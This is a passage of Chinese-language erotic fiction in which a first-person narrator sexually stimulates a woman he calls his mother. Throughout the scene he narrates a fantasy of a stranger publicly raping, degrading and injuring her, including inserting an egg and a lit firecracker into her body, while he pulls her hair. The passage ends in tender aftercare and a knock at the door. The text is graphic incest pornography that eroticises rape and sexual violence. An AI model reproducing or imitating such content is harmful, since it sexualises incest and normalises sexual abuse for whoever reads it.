妈妈叹息着,在被窝里被我揉搓。我开始加力插她尿道,外边的手指、手掌撞击她阴蒂。

妈妈低声说:“我要尿了。”

我说:“他说你们看着啊,这女人要尿了。她要当着你们尿了。”

妈妈亲我下巴。体温一路走高。

我一边加紧指奸妈妈,一边说:“他捻你奶子,亲你。他掏出大鸡巴,说要把你干出屎来。”

妈妈低声应和:“哦,大流氓……”

我说:“大流氓开始插你了,一边插一边往你屁股上淬唾沫。”

妈妈轻声问:“他要干吗呀?”

我说:“他要日完烂屄日屁眼。”

妈妈说:“哦嗯喔啊~~”

我左手揪着妈妈头发,暴力撕扯,右手逐渐加快手指奸淫的动作频率。

我说:“大流氓一边奸你一边审你,他问你是不是骚货。”

妈妈低声说:“我是~~我是~~”

我说:“你这个骚货,大流氓当着大家干死你!”

妈妈低声说:“喔!别~”

我说:“大流氓狠狠肏. 他要射了,要射了,他把一煮鸡蛋塞你屁眼里,然后继续插屄。”

妈妈亲我脸,嘴唇软软的,热热的。

我说:“他揪你头发插屄。他扒开你屁眼,把鸡巴勉强挤进去。鸡巴顶着热鸡蛋,鸡蛋顶着你的屎。”

妈妈低声说:“喔!不要~”

我说:“他把一大二踢脚塞你屄里,把捻儿拿zippo点着。带火药的捻儿呲呲燃烧,越来越短,越来越短。”

这回妈没声了。我知道,她快到了。我更加用力手淫她尿道和骚屄,胡勾乱弹,如六指琴魔。

我说:“要炸了、要炸了,眼看就要炸了。滴答、滴答。”

妈妈突然重重“嗯!”一声,紧跟着浑身绷紧,迷乱痉挛。

我说:“终于炸了。什么都没了。宇宙一片混沌。”

妈妈热尿狠滋。

我说:“尿吧、尿吧,不是罪。活人能叫尿憋死?切!明儿我买两套被褥,咱当人一套背人一套、铺一套尿一套。”

妈妈悄然无声颠着乐,身体抖着,下边儿又流出不少。

尿完,我俩同时长出一口气。

我问:“舒服么?”

妈妈低声说:“舒服。”

我问:“怎么舒服?”

妈妈低声说:“就是……特舒服特舒服。”

我不是她,永远不能了解她的感受。

我问:“困了么?”

妈妈低声说:“嗯。”

我说:“还早,再睡会儿。”

妈妈轻声说:“嗯。”

我躺舒服,搂着妈妈,轻轻囫噜妈妈后背。

零为清醒、十为酣眠的话,妈妈此时已六,迷蒙中说:“别离开我……”

我说:“不离开、不离开。”

妈妈呼吸均匀了。我不动了。晨光中,妈妈依偎在我怀里,乖如大花猫。

忽然,阿彪猛地睁开眼,耳朵竖起来。

我浑身一激灵,因为我分明听见敲门声!